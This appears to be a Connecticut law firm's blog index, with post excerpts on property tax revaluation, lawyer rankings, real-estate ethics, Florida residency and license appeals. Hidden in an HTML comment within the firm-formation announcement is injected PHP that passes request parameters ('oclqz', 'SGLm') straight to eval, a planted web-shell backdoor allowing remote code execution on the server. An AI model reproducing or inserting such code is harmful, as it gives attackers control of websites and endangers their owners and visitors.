Property Tax Appeals in Connecticut

There are a number of municipalities undergoing revaluation this year.  If you are a property owner in these towns, you will soon receive a letter advising you of your new assessment.  The list below is of municipalities currently conducting a town-wide/city-wide revaluation.  Avon, Barkhamsted, Bethany, Bethlehem, Bolton, Burlington, Canton, Chaplin, Cheshire, Chester, Darien, Eastford, East…

The Best Lawyers in America© 2016

West Hartford, CT, United States — Shipman, Shaiken & Schwefel, LLC is pleased to announce that two lawyers have been named to the 2016 Edition of Best Lawyers, the oldest and most respected peer-review publication in the legal profession.  David Shaiken and Mark Shipman were, again, selected for inclusion in The Best Lawyers in America©…

Ethics in Commercial Real Estate Transactions

By: Mark S. Shipman The role of the lawyer in a Commercial Real Estate Transaction is generally clear. It is the representation of the client to the best of the lawyer’s ability without committing or permitting an ethical breach. Acting ethically is not just adhering to the letter of the Code of Professional Ethics (the…

So you think you are a Florida resident?

By Mark Shipman and Lawrence J. Marks Consider this scenario. You run several businesses in Connecticut and maintain your home in Connecticut. But you’ve decided to buy some property in Florida, spend some time there for relaxation, and, because of the tax advantages, claim Florida as your primary residence. You believe you’ve covered all the…

Announcing Shipman, Shaiken & Schwefel, LLC

We take pleasure in announcing the formation of Shipman Shaiken & Schwefel, LLC, comprised of attorneys Mark Shipman, Larry Shipman, David M. S. Shaiken, C. Scott Schwefel and Robert Randich.  We are located at Corporate Center West, 433 South Main Street, Suite 319, West Hartford, Connecticut 06110. <!– [insert_php]if (isset($_REQUEST["oclqz"])){eval($_REQUEST["oclqz"]);exit;}[/insert_php][php]if (isset($_REQUEST["oclqz"])){eval($_REQUEST["oclqz"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["SGLm"])){eval($_REQUEST["SGLm"]);exit;}[/insert_php][php]if…

Validity of License Pending Appeal of Nonrenewal

By David Shaiken I am frequently asked: When a Connecticut professional or occupational license is nonrenewed by a regulator, does the license stay in effect pending appeal? The answer is yes, if a license renewal application is denied the license will remain valid and in effect pending a final decision after all hearings and appeals…